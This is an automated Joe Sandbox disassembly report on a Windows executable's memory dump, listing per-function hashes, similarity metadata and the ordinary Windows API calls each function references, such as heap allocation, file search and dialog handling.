Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d2c25aecc8d6322a932314d23fd1c35cc38d4bdbc7572e34f733bcbca153b97
Instruction ID: 089d758bce9c92e256e940fd8de717559eb0a9971041cb784802e21efbc6d493
Opcode Fuzzy Hash: 8d2c25aecc8d6322a932314d23fd1c35cc38d4bdbc7572e34f733bcbca153b97
Instruction Fuzzy Hash: C25135B19063808ECB14DF6995C02D9BBE6AF69300F1802BEEC5DCF68BD7751654CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A3C217 Relevance: 1.6, APIs: 1, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A3C21C

Part of subcall function 00A213F8: __EH_prolog.LIBCMT ref: 00A213FD

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 279b5050b3e990a78dd871c297eb8f7e5249a98f76d16d2a649cffc8625c09b3
Instruction ID: 8e96fd649fab8a7fbf24a33895ed8851c16c6422147a9295bb001299b504e940
Opcode Fuzzy Hash: 279b5050b3e990a78dd871c297eb8f7e5249a98f76d16d2a649cffc8625c09b3
Instruction Fuzzy Hash: 61219C75C04219AFCF15EFE8D941AEEB7B4BF54314F1000AAF805B7201D7756A45EB61

Uniqueness

Uniqueness Score: -1.00%

Function 00A4BE58 Relevance: 1.6, APIs: 1, Instructions: 65libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,?), ref: 00A4BEB8

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AddressProc
String ID:
API String ID: 190572456-0
Opcode ID: 2834e297254ff15ff241fcd271162c8609e915bf13b7d066a0ac416df3acd65c
Instruction ID: dbb7833fd4fb32aacf3700ec77656790866cf38ac0585b25c08c6149e7c5cfea
Opcode Fuzzy Hash: 2834e297254ff15ff241fcd271162c8609e915bf13b7d066a0ac416df3acd65c
Instruction Fuzzy Hash: FA11C63BA105259F9B61DF6DDC428DB73B5EBC47207164220FE15AB254DB70EC4287E0

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A475 Relevance: 1.6, APIs: 1, Instructions: 59COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A2A47A

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: b73b8f4222b197fc56ddfb59d8a285c73ba44499fdbe1135bc61a6f1bf7a05d4
Instruction ID: 36bfc4b65ca97ddb0213dca2661dc743523eff09c1660a553cc0670fed5f4e84
Opcode Fuzzy Hash: b73b8f4222b197fc56ddfb59d8a285c73ba44499fdbe1135bc61a6f1bf7a05d4
Instruction Fuzzy Hash: CE11E032D006399BCB21FF6CE985AFEB375AF94700F01413AF815A7202DB74DC008A91

Uniqueness

Uniqueness Score: -1.00%

Function 00A2E298 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A2E29D

Part of subcall function 00A26891: __EH_prolog.LIBCMT ref: 00A26896

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3ced653e345e468c606b01bdbd87d01d33cc09d7b26f86ff2a05baab96bedcba
Instruction ID: 6177f46dc5374e47d59f405c7725cdfa5063c409286bac42f51feec3cf98c2e8
Opcode Fuzzy Hash: 3ced653e345e468c606b01bdbd87d01d33cc09d7b26f86ff2a05baab96bedcba
Instruction Fuzzy Hash: 0111A071E05260DEDB14EBBDA6057AEBBE8AF44300F24407EA446D3382DF749E04C721

Uniqueness

Uniqueness Score: -1.00%

Function 00A3EBA2 Relevance: 1.6, APIs: 1, Instructions: 53COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A3EBA7

Part of subcall function 00A31983: _wcslen.LIBCMT ref: 00A31999

Part of subcall function 00A28823: __EH_prolog.LIBCMT ref: 00A28828

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog$_wcslen
String ID:
API String ID: 2838827086-0
Opcode ID: 56128bfbdacf807a4ca540efb15e0a413c3cb54ea14906d1d8f70a0236741b26
Instruction ID: 3808c40dcee94c5b1f91c5a64fac81f78eb50b7fe51b7ae970d418ff71a4ce3c
Opcode Fuzzy Hash: 56128bfbdacf807a4ca540efb15e0a413c3cb54ea14906d1d8f70a0236741b26
Instruction Fuzzy Hash: D611C432905290AED741EBA8AD16BDC7FB4AB24360F10C06EF54853292DFB516C5CB62

Uniqueness

Uniqueness Score: -1.00%

Function 00A4D639 Relevance: 1.6, APIs: 1, Instructions: 52COMMON

Download Yara Rule

APIs

Part of subcall function 00A4C2F6: RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00A4A543,00000001,00000364,?,00A45281,00000050,?,00A63070,00000200), ref: 00A4C337

_free.LIBCMT ref: 00A4D6A5

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AllocateHeap_free
String ID:
API String ID: 614378929-0
Opcode ID: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction ID: df34442d5f47f331523188916a7ff3e92455fff1affbdf989960cc54b030e0e5
Opcode Fuzzy Hash: 7d30b6ea8507d2c13b34e354a80f4644266152c8881b27fa68bdf41323802f68
Instruction Fuzzy Hash: 7F014977200305ABE3218F69DC41D5AFBE8FBD9330F26062DE59C83280EA70A805C778

Uniqueness

Uniqueness Score: -1.00%

Function 00A26891 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A26896

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 5a3c0f0637d1d1fb5744151000e004a9ebcc8de7e0ae0db7d3d16adbce54ef85
Instruction ID: 762be1791188b7c293288a20de934e70baa920bc3684df9538542f752704b1a2
Opcode Fuzzy Hash: 5a3c0f0637d1d1fb5744151000e004a9ebcc8de7e0ae0db7d3d16adbce54ef85
Instruction Fuzzy Hash: C70162B1641750BAD221DB299D42F9B7BE8EBC4B00F00452EB655A6282DBB02604C655

Uniqueness

Uniqueness Score: -1.00%

Function 00A4C2F6 Relevance: 1.5, APIs: 1, Instructions: 39memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00A4A543,00000001,00000364,?,00A45281,00000050,?,00A63070,00000200), ref: 00A4C337

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: d96f0c5ae3570b54e461003d8f0692f29babc67f6514ab49bd0839c1c63f91ae
Instruction ID: 1906122e621b55f2309ff573578c17a5f86dfaa5c1a139ae6cf83918a08f22d7
Opcode Fuzzy Hash: d96f0c5ae3570b54e461003d8f0692f29babc67f6514ab49bd0839c1c63f91ae
Instruction Fuzzy Hash: F2F0E23E606224A6DFB15F66AD06A5BB798AFC1771B24C021F81DDF090EB30F90192E5

Uniqueness

Uniqueness Score: -1.00%

Function 00A2644D Relevance: 1.5, APIs: 1, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A26452

Part of subcall function 00A304E5: __EH_prolog.LIBCMT ref: 00A304EA

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 207b0c8bd0f404490c76452f8a449c0617f161c97eaf44368823125026a2e24c
Instruction ID: fb0399a255ce17d2fe0706bfc5da216ca3ad48b7e40877c7ff3cccd8ce82fda6
Opcode Fuzzy Hash: 207b0c8bd0f404490c76452f8a449c0617f161c97eaf44368823125026a2e24c
Instruction Fuzzy Hash: 79010871901754DAD715EBA8C2627EEFBE4AF64710F60445EF47A63282CBB42B08C761

Uniqueness

Uniqueness Score: -1.00%

Function 00A4A7FE Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,?,00000000,?,00A4DBEC,00000000,?,00A480B1,?,00000008,?,00A4A871,?,?,?), ref: 00A4A830

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 06484221cc2a64c532bfa09f87631a66199b3b6e04a164dfcc5482d058308aab
Instruction ID: 387bc5adbcd45f9b8255141878a9014070c87ac566a00e646e7fe6fb2814380b
Opcode Fuzzy Hash: 06484221cc2a64c532bfa09f87631a66199b3b6e04a164dfcc5482d058308aab
Instruction Fuzzy Hash: 92E06D7E28422256E63127A6AD01BAB3A98DFF27A1F150120BC4696092DB25CC12C2E3

Uniqueness

Uniqueness Score: -1.00%

Function 00A2A880 Relevance: 1.5, APIs: 1, Instructions: 30COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(000000FF,?,?,00A2A83D,?,?,?,?,?,00A5380F,000000FF), ref: 00A2A89B

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 8f81a175aae899ec4ba386348f5be0e4251634667f3cc9324236dca2b9d18c96
Instruction ID: 03e7a3cfe4166001682477b55c4a8cc444a28b24b9ffd5a82be9cb4dcf2312ca
Opcode Fuzzy Hash: 8f81a175aae899ec4ba386348f5be0e4251634667f3cc9324236dca2b9d18c96
Instruction Fuzzy Hash: 54F08231485B259FDB348B28E448792B7E4AB22325F141B6ED0E2439E5D3756A8F8A41

Uniqueness

Uniqueness Score: -1.00%

Function 00A2B966 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

Part of subcall function 00A2BA94: FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BABD
Part of subcall function 00A2BA94: FindFirstFileW.KERNEL32(?,?,?,?,00000800,?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BAEB
Part of subcall function 00A2BA94: GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00A2B98B,000000FF,?,?), ref: 00A2BAF7

FindClose.KERNELBASE(00000000,000000FF,?,?), ref: 00A2B991

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Find$FileFirst$CloseErrorLast
String ID:
API String ID: 1464966427-0
Opcode ID: fbc8dcfa2f9e764cecd5d20ac4e816d76e69c2cecfe0a3f123c4ecb3dee43e20
Instruction ID: 5ede75603a531cbaff0ad57b54112a24e977f7b981f7a180693d0021dc917a9c
Opcode Fuzzy Hash: fbc8dcfa2f9e764cecd5d20ac4e816d76e69c2cecfe0a3f123c4ecb3dee43e20
Instruction Fuzzy Hash: 25F082320187A0ABCB225BBC69047CBBB906F1A335F148A59F2FE122D2C37450D59732

Uniqueness

Uniqueness Score: -1.00%

Function 00A32128 Relevance: 1.5, APIs: 1, Instructions: 21threadCOMMON

Download Yara Rule

APIs

SetThreadExecutionState.KERNEL32(00000001), ref: 00A3215D

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: ExecutionStateThread
String ID:
API String ID: 2211380416-0
Opcode ID: ac0fd11823adf712580e6196080ec24031af372ea3eb7a7930703b4a5dea44ab
Instruction ID: 9f686cdd5f87592c7d96f45af6a64a2ff99a055da1671f1f608b64bf6e4bd76d
Opcode Fuzzy Hash: ac0fd11823adf712580e6196080ec24031af372ea3eb7a7930703b4a5dea44ab
Instruction Fuzzy Hash: D5D0123161812052DE16737C6A56BBD1A665FDA325F1900A6F209571D38B54094793B1

Uniqueness

Uniqueness Score: -1.00%

Function 00A3B636 Relevance: 1.5, APIs: 1, Instructions: 16memoryCOMMON

Download Yara Rule

APIs

GdipAlloc.GDIPLUS(00000010), ref: 00A3B63C

Part of subcall function 00A3B3C8: GdipCreateBitmapFromStreamICM.GDIPLUS(?,?), ref: 00A3B3E9

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Gdip$AllocBitmapCreateFromStream
String ID:
API String ID: 1915507550-0
Opcode ID: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction ID: e14751f23082cfc85a33379e58af355c1d91bec07a23164e49456cfa79e4135a
Opcode Fuzzy Hash: 67c6c0b1a9f8045d953eebf11179e7c179da5fb7bf356439fdf6af47a3be8cb5
Instruction Fuzzy Hash: 34D0C7306242097ADF416B618D03A7E7696DB10384F008136BA4599191EBB1D9606575

Uniqueness

Uniqueness Score: -1.00%

Function 00A26920 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A26925

Part of subcall function 00A304E5: __EH_prolog.LIBCMT ref: 00A304EA

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: bee3f1dd9f9d012ac0fc3671e6d09c037233c5c85881bb4d0ff41e453dacfdbd
Instruction ID: 1af96b8de70a825380119fdb73abc523234557506c1127d3ff62a2567437fee2
Opcode Fuzzy Hash: bee3f1dd9f9d012ac0fc3671e6d09c037233c5c85881bb4d0ff41e453dacfdbd
Instruction Fuzzy Hash: AED05EB2F105359BCB05BB4895217AEB264EB44705F10016AF411A3782CBB44B008784

Uniqueness

Uniqueness Score: -1.00%

Function 00A3F747 Relevance: 1.5, APIs: 1, Instructions: 13COMMONLIBRARYCODE

Download Yara Rule

APIs

DloadProtectSection.DELAYIMP ref: 00A3F76F

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: DloadProtectSection
String ID:
API String ID: 2203082970-0
Opcode ID: b8f6fefa775dfaaa6d8bdfcb6c406e4fda857f74cca846a56b0126ba9a559c03
Instruction ID: 8802dd27bbde51f2010cce697cbdf18936bd870c5bd69152106172e58c6bae5f
Opcode Fuzzy Hash: b8f6fefa775dfaaa6d8bdfcb6c406e4fda857f74cca846a56b0126ba9a559c03
Instruction Fuzzy Hash: 5CD01231D70304AFCA51EBB49D4672422B0F30CB19F504D31F541821A1C76065458711

Uniqueness

Uniqueness Score: -1.00%

Function 00A3EEBD Relevance: 1.5, APIs: 1, Instructions: 13windowCOMMON

Download Yara Rule

APIs

SendDlgItemMessageW.USER32(0000006A,00000402,00000000,00000000,00A32E88), ref: 00A3EEE2

Part of subcall function 00A3C758: PeekMessageW.USER32(?,00000000,00000000,00000000,00000000), ref: 00A3C769
Part of subcall function 00A3C758: GetMessageW.USER32(?,00000000,00000000,00000000), ref: 00A3C77A
Part of subcall function 00A3C758: IsDialogMessageW.USER32(0001046C,?), ref: 00A3C78E
Part of subcall function 00A3C758: TranslateMessage.USER32(?), ref: 00A3C79C
Part of subcall function 00A3C758: DispatchMessageW.USER32(?), ref: 00A3C7A6

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636648853.0000000000A54000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A60000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A67000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636665652.0000000000A84000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1636720059.0000000000A85000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a20000_H9gMIu2HXi.jbxd

Similarity

API ID: Message$DialogDispatchItemPeekSendTranslate
String ID:
API String ID: 897784432-0
Opcode ID: 655087c58a4fc15d71ae2a01ca54fe927b66a1410ec14c37ea6fff945e174ce0
Instruction ID: 8772723b47c2a1a0c09da63d349718525b5a2e0b301762b1c4dd123356625ed8
Opcode Fuzzy Hash: 655087c58a4fc15d71ae2a01ca54fe927b66a1410ec14c37ea6fff945e174ce0
Instruction Fuzzy Hash: 0FD09E32144240AED6026B51CE06F0A7AF2BB98B05F004554B645340B1C6A29D21AF02

Uniqueness

Uniqueness Score: -1.00%

Function 00A2AB1C Relevance: 1.5, APIs: 1, Instructions: 12COMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE(000000FF,00A2AA1E), ref: 00A2AB28

Memory Dump Source

Source File: 00000000.00000002.1636616066.0000000000A21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A20000, based on PE: true

Associated: 00000000.00000002.1636599322.0000000000A20000.00000002.00000001.01000000.00000003.sdmpDownload File
